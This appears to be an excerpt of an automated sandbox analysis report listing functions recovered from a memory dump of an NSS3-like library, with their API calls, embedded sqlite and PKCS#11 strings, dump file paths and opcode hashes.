Opcode Fuzzy Hash: 56d518da5ed88bdab2b2274c8c7f1b10d3539cd8cd481d2a01870e02fd36f118
Instruction Fuzzy Hash: B791DEB1A04205CFEB24EF25DC84B6BB7B1FF45309F144A2DE41697A60EB35E890CB61

Function 6C610EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C610F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C610FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C611006
PK11_FreeSymKey.NSS3(?), ref: 6C61101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C611033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C61103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C611048
memcpy.VCRUNTIME140(?,?,?), ref: 6C61108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C6110BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C6110D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C61112E

Part of subcall function 6C611570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C6108C4,?,?), ref: 6C6115B8
Part of subcall function 6C611570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C6108C4,?,?), ref: 6C6115C1
Part of subcall function 6C611570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C61162E
Part of subcall function 6C611570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C611637

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 1ce1d318e2274e532ad1614688b7afb85b629bd30622e85ff95699d3fd0f654b
Instruction ID: 27d646fb4d6a80d6f865830cf6cd6faca033c28b6b57052d459d3469c6144109
Opcode Fuzzy Hash: 1ce1d318e2274e532ad1614688b7afb85b629bd30622e85ff95699d3fd0f654b
Instruction Fuzzy Hash: BD71F4B1E082058FCB00CFA9CC81AAAF7F4BF5431AF14862CE91997B11EB31D954CB85

Function 6C631CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6C631F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6C632166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C63228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C6323B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C63241C

Strings

manufacturer, xrefs: 6C632179
model, xrefs: 6C6323CB, 6C6323EC
serial, xrefs: 6C6322A2
token, xrefs: 6C631F2C

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: be0d2e4abfbef06126bf0e27f486b1deb4773f6afaa949411659bbe0b74799f8
Instruction ID: 028507631001482a0c4708807573917e766e107925cd4269860432be3e718ea7
Opcode Fuzzy Hash: be0d2e4abfbef06126bf0e27f486b1deb4773f6afaa949411659bbe0b74799f8
Instruction Fuzzy Hash: 0202F1A2D0C7D86EF7318671C94C3D76BE09B4532CF0C366ECADE46683C3A859498399

Function 6C570FE0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C56CA30: EnterCriticalSection.KERNEL32(?,?,?,6C5CF9C9,?,6C5CF4DA,6C5CF9C9,?,?,6C59369A), ref: 6C56CA7A
Part of subcall function 6C56CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C56CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C57103E
EnterCriticalSection.KERNEL32(?), ref: 6C571139
LeaveCriticalSection.KERNEL32(?), ref: 6C571190
sqlite3_free.NSS3(00000000), ref: 6C571227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C57126E
sqlite3_free.NSS3(?), ref: 6C57127F

Strings

winAccess, xrefs: 6C57129B
delayed %dms for lock/sharing conflict at line %d, xrefs: 6C571267
Pol, xrefs: 6C57109E

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: Pol$delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-2194269627
Opcode ID: de2c1b58643681c41a11e176d5132eb2f280c7affd80d5d73891bd02efeeb906
Instruction ID: 228bd566ad5513a8859010346fe9350dae54d7687be22a224a662efc0ab0c105
Opcode Fuzzy Hash: de2c1b58643681c41a11e176d5132eb2f280c7affd80d5d73891bd02efeeb906
Instruction Fuzzy Hash: 8D713C31704205DBEB24DF25ECA9A6B3375FB86319F144639E81D8BA90DB30DD81C7A2

Function 6C636C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C5E1C6F,00000000,00000004,?,?), ref: 6C636C3F

Part of subcall function 6C68C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C68C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C5E1C6F,00000000,00000004,?,?), ref: 6C636C60
PR_ExplodeTime.NSS3(00000000,6C5E1C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C5E1C6F,00000000,00000004,?,?), ref: 6C636C94

Strings

gfff, xrefs: 6C636D30
gfff, xrefs: 6C636D66
gfff, xrefs: 6C636CF5
gfff, xrefs: 6C636CFD
gfff, xrefs: 6C636D9C

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: af6f55576de35be2cb2e0089c3b60a02410ddc8e5e718d7874a3dfefb0bb81d6
Instruction ID: b005bfa0cf0cf5835ecb5da003fdf21f3c88cdaedae290faa19a6b2c564bd299
Opcode Fuzzy Hash: af6f55576de35be2cb2e0089c3b60a02410ddc8e5e718d7874a3dfefb0bb81d6
Instruction Fuzzy Hash: A6514B72B016594FC70CCDADDC626DAB7DAABE4310F48C23AE442DB781E678D906C751

Function 6C6B0F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6C6B1027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6B10B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6B1353

Strings

-- , xrefs: 6C6B0FF5
%lld, xrefs: 6C6B114B
'%.*q', xrefs: 6C6B1217, 6C6B1292
zeroblob(%d), xrefs: 6C6B1223
$, xrefs: 6C6B12A0
%02x, xrefs: 6C6B12F6
NULL, xrefs: 6C6B119E

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: f79102a3145ed947586d304144fa19e3c6a1d4e5e0435c3b906f49a5e6f1fa8a
Instruction ID: f456381a7d074f2dd76032197102ef8c29760efd9655130c69bf33a10cb3c31e
Opcode Fuzzy Hash: f79102a3145ed947586d304144fa19e3c6a1d4e5e0435c3b906f49a5e6f1fa8a
Instruction Fuzzy Hash: B6E1C071A08340EFD700CF18C880AABBBF5AFC6348F14892DE98997B51E771E955CB46

Function 6C6B8FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6B8FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6B90DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6B9118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6B915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6B91C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6B9209

Strings

UUUU, xrefs: 6C6B9255
3333, xrefs: 6C6B925E

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 5ff3b038d898c6bf6c851e4957da42d392b585f5e410a67a875f960e277ad4a1
Instruction ID: 93d2d03e1961d05fae81350582fe016992869fbafdbe92715fe7ac2ca39e639a
Opcode Fuzzy Hash: 5ff3b038d898c6bf6c851e4957da42d392b585f5e410a67a875f960e277ad4a1
Instruction Fuzzy Hash: BAA19E72E001259BDB08CB69CC80B9EB7B5AF89328F194169E915B7351E736AC11CBA4

Function 6C64BD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C64BD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C64BD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C64BD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C64BD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6C64BDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6C64BDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6C64BDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6C64BE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6C64BE1E

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 8fb4eb731d05b017c09a9ea020812953c59bc2a1c213cd783078c41f6ca4231a
Instruction ID: c11125996caa214f47eedd8145c4993254c37d69768f1f0e9ef74c30d4161c0a
Opcode Fuzzy Hash: 8fb4eb731d05b017c09a9ea020812953c59bc2a1c213cd783078c41f6ca4231a
Instruction Fuzzy Hash: A721C576E0469967FB004656DC42F8F32B49BE278DF08E414EA16AEA41F710941486AD

Function 6C6F8D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C7414E4,6C6ACC70), ref: 6C6F8D47
PR_GetCurrentThread.NSS3 ref: 6C6F8D98

Part of subcall function 6C5D0F00: PR_GetPageSize.NSS3(6C5D0936,FFFFE8AE,?,6C5616B7,00000000,?,6C5D0936,00000000,?,6C56204A), ref: 6C5D0F1B
Part of subcall function 6C5D0F00: PR_NewLogModule.NSS3(clock,6C5D0936,FFFFE8AE,?,6C5616B7,00000000,?,6C5D0936,00000000,?,6C56204A), ref: 6C5D0F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C6F8E7B
htons.WSOCK32(?), ref: 6C6F8EDB
PR_GetCurrentThread.NSS3 ref: 6C6F8F99
PR_GetCurrentThread.NSS3 ref: 6C6F910A

Strings

%u.%u.%u.%u, xrefs: 6C6F8E74

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 32d677c06abf51247aee7b4729f8347e512b5d239d3fa25f2cfb408d20623f0c
Instruction ID: 9ad2e7f4cc75264496d9bc49e194f3478b4f66fc6d4cabcc5fd4d379c4619cd0
Opcode Fuzzy Hash: 32d677c06abf51247aee7b4729f8347e512b5d239d3fa25f2cfb408d20623f0c
Instruction Fuzzy Hash: D1028C329052518FDB18CF1AC4587A6BBA3EF4730CF1983AED8A15BAA1C335D947C794

Function 6C57EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

temporary table name must be unqualified, xrefs: 6C57F734
not authorized, xrefs: 6C57F957, 6C57F9BA
authorizer malfunction, xrefs: 6C57F95C, 6C57F9BF, 6C57FA5E, 6C57FA8B
%s %T already exists, xrefs: 6C57FAC8
table, xrefs: 6C57F05C, 6C57FABC, 6C57FAC7
sqlite_master, xrefs: 6C57F0AB, 6C57F2DA, 6C57F757, 6C57F93E
view, xrefs: 6C57F061, 6C57F071, 6C57FAB7
there is already an index named %s, xrefs: 6C57F9D7
sqlite_temp_master, xrefs: 6C57F0A6, 6C57F2D5

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: a30b6c95d0de14394a7b1163978f23cb865729621d53edda64d2baf7e9682248
Instruction ID: 2f44e9b4f3e55af418cec5a77a631a32150ab51270866832fe401b594ef29ad7
Opcode Fuzzy Hash: a30b6c95d0de14394a7b1163978f23cb865729621d53edda64d2baf7e9682248
Instruction Fuzzy Hash: 8B728270E04205CFDB24CF69C884BA9BBF1BF49308F1542ADD9159BB52D775E885CBA0

Function 6C699C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6C56C52B), ref: 6C699D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C69A035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C69A114

Strings

%s at line %d of [%.10s], xrefs: 6C69A02E, 6C69A10D
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C69A01F, 6C69A0E4, 6C69A0FE
database corruption, xrefs: 6C69A029, 6C69A108

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: 32608d7e1a6a9d0ddf8f10d1ba757d18eb998cbb90285913d4f9ec81c935edbb
Instruction ID: d2c1bb3232475771b42659deddefea9c5345ef1b5dba8f968766fb5632ed40e7
Opcode Fuzzy Hash: 32608d7e1a6a9d0ddf8f10d1ba757d18eb998cbb90285913d4f9ec81c935edbb
Instruction Fuzzy Hash: 5A22B271A0C7428FC704CF29C49066AB7E1BFCA348F148A2DE9DA97752D735D846CB4A

Function 6C6B9D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6C578637,?,?), ref: 6C6B9E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6C578637), ref: 6C6B9ED6

Strings

%s at line %d of [%.10s], xrefs: 6C6B9ECF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6B9EC0
database corruption, xrefs: 6C6B9ECA

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: c1a4c8810b3c68d16f90a1f8f1cc829c96c99c2c9fed2d5327e1c9b5439da751
Instruction ID: 7cd2228c14f30f5161262235e7f6c2ca4d6fdcf02eef6d58c032f3f4a4fbd77d
Opcode Fuzzy Hash: c1a4c8810b3c68d16f90a1f8f1cc829c96c99c2c9fed2d5327e1c9b5439da751
Instruction Fuzzy Hash: A181E831B001098FDB04CFAAC881ADEB7F6EF99318B148529E919BB741D730ED56CB54

Function 6C6C7F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6C6C81BC

Strings

BINARY, xrefs: 6C6C8126
out of memory, xrefs: 6C6C835B

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607954441.000000006C73E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607995696.000000006C73F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608034599.000000006C740000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2608078961.000000006C745000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c560000_file.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: 42b35f48e2d9d7724c4f18fa5ef398054c25927b48fd6c201f05551ad4da5daf
Instruction ID: 88f16545b2e2296339308e1cda4745ed788647699530e8ec48757e4b8ae14667
Opcode Fuzzy Hash: 42b35f48e2d9d7724c4f18fa5ef398054c25927b48fd6c201f05551ad4da5daf
Instruction Fuzzy Hash: C652CF31E04218CFDB24CF99C880BADBBB2FF49318F15815AD815AB761D734A846CB99

Function 6C649EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C649ED6

Part of subcall function 6C6414C0: TlsGetValue.KERNEL32 ref: 6C6414E0
Part of subcall function 6C6414C0: EnterCriticalSection.KERNEL32 ref: 6C6414F5
Part of subcall function 6C6414C0: PR_Unlock.NSS3 ref: 6C64150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6C649EE4

Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C6410F3
Part of subcall function 6C6410C0: EnterCriticalSection.KERNEL32(?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64110C
Part of subcall function 6C6410C0: PL_ArenaAllocate.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641141
Part of subcall function 6C6410C0: PR_Unlock.NSS3(?,?,?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C641182
Part of subcall function 6C6410C0: TlsGetValue.KERNEL32(?,6C5E8802,00000000,00000008,?,6C5DEF74,00000000), ref: 6C64119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C649F38

Part of subcall function 6C64D030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6C649F0B), ref: 6C64D03B
Part of subcall function 6C64D030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C64D04E
Part of subcall function 6C64D030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6C64D07B
Part of subcall function 6C64D030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6C64D08E
Part of subcall function 6C64D030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C64D09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C649F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6C649F59

Part of subcall function 6C649D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C649C5B), ref: 6C649D82
Part of subcall function 6C649D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C649C5B), ref: 6C649DA9
Part of subcall function 6C649D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C649C5B), ref: 6C649DCE
Part of subcall function 6C649D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C649C5B), ref: 6C649E43

Memory Dump Source

Source File: 00000000.00000002.2607565675.000000006C561000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000000.00000002.2607528428.000000006C560000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2607865484.000000006C6FF000.00000002.00000001.01000000.00000009.sdmpDownload File
